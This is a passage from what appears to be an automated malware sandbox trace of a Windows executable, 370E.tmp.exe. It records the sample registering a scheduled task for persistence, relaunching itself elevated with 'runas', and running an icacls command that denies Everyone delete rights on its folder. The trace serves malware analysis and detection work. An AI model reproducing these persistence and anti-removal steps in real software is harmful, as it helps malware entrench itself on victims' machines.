[0042.857] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x3282e90 [0042.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x3282e90, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0042.857] GetLastError () returned 0x0 [0042.857] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x31a45d8) returned 0x5c [0042.858] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x31a45d8, Size=0x60) returned 0x31a46a8 [0042.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0042.858] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x29) returned 0x32270b8 [0042.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x32270b8, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0042.858] GetLastError () returned 0x0 [0042.858] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x31a46a8) returned 0x60 [0042.858] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x31a46a8, Size=0x64) returned 0x31b4d68 [0042.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.858] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1e) returned 0x3284898 [0042.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x3284898, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0042.858] GetLastError () returned 0x0 [0042.858] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x31b4d68) returned 0x64 [0042.858] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x31b4d68, Size=0x68) returned 0x31b4e48 [0042.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0042.858] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x41) returned 0x324b320 [0042.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x324b320, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0042.858] GetLastError () returned 0x0 [0042.858] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x31b4e48) returned 0x68 [0042.858] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x31b4e48, Size=0x6c) returned 0x3236468 [0042.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0042.858] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x17) returned 0x3288230 [0042.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x3288230, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0042.858] GetLastError () returned 0x0 [0042.858] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3236468) returned 0x6c [0042.858] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3236468, Size=0x70) returned 0x32364e0 [0042.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0042.858] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xf) returned 0x3239d20 [0042.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x3239d20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0042.858] GetLastError () returned 0x0 [0042.858] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x32364e0) returned 0x70 [0042.858] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x32364e0, Size=0x74) returned 0x34fa90 [0042.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0042.858] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x16) returned 0x3288210 [0042.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x3288210, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0042.859] GetLastError () returned 0x0 [0042.859] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x34fa90) returned 0x74 [0042.859] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x34fa90, Size=0x78) returned 0x34fb10 [0042.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0042.859] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2a) returned 0x3227128 [0042.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x3227128, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0042.859] GetLastError () returned 0x0 [0042.859] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x34fb10) returned 0x78 [0042.859] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x34fb10, Size=0x7c) returned 0x333d38 [0042.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0042.859] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x29) returned 0x3227160 [0042.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x3227160, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0042.859] GetLastError () returned 0x0 [0042.859] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x333d38) returned 0x7c [0042.859] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x333d38, Size=0x80) returned 0x334860 [0042.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0042.859] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x15) returned 0x3288250 [0042.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3288250, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0042.859] GetLastError () returned 0x0 [0042.859] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x334860) returned 0x80 [0042.859] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x334860, Size=0x84) returned 0x353ec0 [0042.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.859] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1e) returned 0x32848c0 [0042.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x32848c0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0042.859] GetLastError () returned 0x0 [0042.859] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x353ec0) returned 0x84 [0042.859] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x353ec0, Size=0x88) returned 0x3542b0 [0042.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0042.859] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2a) returned 0x3227198 [0042.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3227198, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0042.859] GetLastError () returned 0x0 [0042.859] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3542b0) returned 0x88 [0042.859] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3542b0, Size=0x8c) returned 0x34b100 [0042.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0042.860] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x12) returned 0x3288270 [0042.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x3288270, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0042.860] GetLastError () returned 0x0 [0042.860] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x34b100) returned 0x8c [0042.860] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x34b100, Size=0x90) returned 0x34b100 [0042.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0042.860] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x3288290 [0042.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x3288290, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0042.860] GetLastError () returned 0x0 [0042.860] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x34b100) returned 0x90 [0042.860] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x34b100, Size=0x94) returned 0x35fdb0 [0042.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0042.860] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x46) returned 0x324b3c0 [0042.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x324b3c0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0042.860] GetLastError () returned 0x0 [0042.860] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x35fdb0) returned 0x94 [0042.860] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x35fdb0, Size=0x98) returned 0x35fdb0 [0042.860] GetLastError () returned 0x0 [0042.860] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0042.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18d844 | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18d844) returned 26 [0042.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18d844 | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18d844) returned 26 [0042.868] GetLastError () returned 0x0 [0042.868] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x24) returned 0x3282f20 [0042.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x452028, cbMultiByte=-1, lpWideCharStr=0x3282f20, cchWideChar=18 | out: lpWideCharStr="%Y-%m-%dT%H:%M:%S") returned 18 [0042.868] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xa0) returned 0x317a380 [0042.868] GetLastError () returned 0x0 [0042.868] ITrigger:put_StartBoundary (This=0x2781058, StartBoundary="2019-06-25T03:40:11") returned 0x0 [0042.868] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3239d38 | out: hHeap=0x260000) returned 1 [0042.868] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3267360 | out: hHeap=0x260000) returned 1 [0042.868] IUnknown:Release (This=0x2781058) returned 0x1 [0042.868] ITaskDefinition:get_Actions (in: This=0x2780da8, ppActions=0x18de10 | out: ppActions=0x18de10*=0x2780e20) returned 0x0 [0042.868] IActionCollection:Create (in: This=0x2780e20, Type=0, ppAction=0x18ddfc | out: ppAction=0x18ddfc*=0x27810e0) returned 0x0 [0042.876] IUnknown:Release (This=0x2780e20) returned 0x1 [0042.876] IUnknown:QueryInterface (in: This=0x27810e0, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18de18 | out: ppvObject=0x18de18*=0x27810e0) returned 0x0 [0042.876] IUnknown:Release (This=0x27810e0) returned 0x2 [0042.876] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x3239d38 [0042.876] IExecAction:put_Path (This=0x27810e0, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\\370E.tmp.exe") returned 0x0 [0042.876] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3239d38 | out: hHeap=0x260000) returned 1 [0042.876] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x3239d38 [0042.876] IExecAction:put_Arguments (This=0x27810e0, Arguments="--Task") returned 0x0 [0042.877] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3239d38 | out: hHeap=0x260000) returned 1 [0042.877] IUnknown:Release (This=0x27810e0) returned 0x1 [0042.877] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x3239d38 [0042.877] ITaskFolder:RegisterTaskDefinition (in: This=0x64ff98, Path="Time Trigger Task", pDefinition=0x2780da8, flags=6, UserId=0x18d8b8*(varType=0x0, wReserved1=0x326, wReserved2=0xddcc, wReserved3=0x18, varVal1=0x41720b, varVal2=0x260000), password=0x18d8c8*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), LogonType=3, sddl=0x18d8dc*(varType=0x8, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1="", varVal2=0xc8), ppTask=0x18dde4 | out: ppTask=0x18dde4*=0x2781150) returned 0x0 [0043.002] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3239d38 | out: hHeap=0x260000) returned 1 [0043.002] TaskScheduler:IUnknown:Release (This=0x64ff98) returned 0x0 [0043.002] TaskScheduler:IUnknown:Release (This=0x2780da8) returned 0x0 [0043.002] IUnknown:Release (This=0x2781150) returned 0x0 [0043.002] CoUninitialize () [0043.006] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x321b5f0 | out: hHeap=0x260000) returned 1 [0043.006] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x321b528 | out: hHeap=0x260000) returned 1 [0043.006] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x321b460 | out: hHeap=0x260000) returned 1 [0043.006] GetVersion () returned 0x1db10106 [0043.006] lstrcpyW (in: lpString1=0x18e350, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0043.006] lstrcatW (in: lpString1="--Admin", lpString2=" IsNotAutoStart" | out: lpString1="--Admin IsNotAutoStart") returned="--Admin IsNotAutoStart" [0043.006] lstrcatW (in: lpString1="--Admin IsNotAutoStart", lpString2=" IsNotTask" | out: lpString1="--Admin IsNotAutoStart IsNotTask") returned="--Admin IsNotAutoStart IsNotTask" [0043.006] ShellExecuteExW (in: pExecInfo=0x18e00c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18e00c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0043.106] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3220298 | out: hHeap=0x260000) returned 1 [0043.106] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x321b398 | out: hHeap=0x260000) returned 1 [0043.106] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x34a8f8 | out: hHeap=0x260000) returned 1 [0043.107] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x340e30 | out: hHeap=0x260000) returned 1 [0043.107] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x30da70 | out: hHeap=0x260000) returned 1 [0043.107] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3252bb8 | out: hHeap=0x260000) returned 1 [0043.107] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x342ae8 | out: hHeap=0x260000) returned 1 [0043.107] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x30fcb0 | out: hHeap=0x260000) returned 1 [0043.108] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x30f4a8 | out: hHeap=0x260000) returned 1 [0043.109] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f2f4 | out: phModule=0x18f2f4) returned 0 [0043.109] ExitProcess (uExitCode=0x0) [0043.111] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3282ce0 | out: hHeap=0x260000) returned 1 [0043.111] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x30e628 | out: hHeap=0x260000) returned 1 [0043.119] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0x714 Thread: id = 3 os_tid = 0x78c Thread: id = 4 os_tid = 0x648 Thread: id = 5 os_tid = 0x328 Thread: id = 6 os_tid = 0x6e4 Thread: id = 7 os_tid = 0x2ac Thread: id = 8 os_tid = 0x660 Thread: id = 22 os_tid = 0x248 Thread: id = 24 os_tid = 0x590 Thread: id = 25 os_tid = 0x39c Thread: id = 35 os_tid = 0x41c Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x414" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 9 os_tid = 0x7d8 Thread: id = 10 os_tid = 0x76c Thread: id = 11 os_tid = 0x758 Thread: id = 12 os_tid = 0x74c Thread: id = 13 os_tid = 0x72c Thread: id = 14 os_tid = 0x71c Thread: id = 15 os_tid = 0x718 Thread: id = 16 os_tid = 0x638 Thread: id = 17 os_tid = 0x154 Thread: id = 18 os_tid = 0x150 Thread: id = 19 os_tid = 0x12c Thread: id = 20 os_tid = 0x120 Thread: id = 21 os_tid = 0x3fc Thread: id = 23 os_tid = 0x410 Thread: id = 106 os_tid = 0x8ac Thread: id = 138 os_tid = 0x918 Process: id = "3" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x4e01e000" os_pid = "0x130" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x414" cmd_line = "icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3f2aa1c4-e619-4d34-a21e-283f3d2a3401\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x6d0 Thread: id = 27 os_tid = 0x644 Process: id = "4" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x5e7f000" os_pid = "0x50c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0x414" cmd_line = "taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0x7c8 Thread: id = 29 os_tid = 0x7e0 Thread: id = 30 os_tid = 0x578 Thread: id = 31 os_tid = 0x574 Thread: id = 32 os_tid = 0x520 Thread: id = 33 os_tid = 0x514 Thread: id = 34 os_tid = 0x510 Process: id = "5" image_name = "370e.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\370e.tmp.exe" page_root = "0x4ccec000" os_pid = "0x204" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x414" cmd_line = 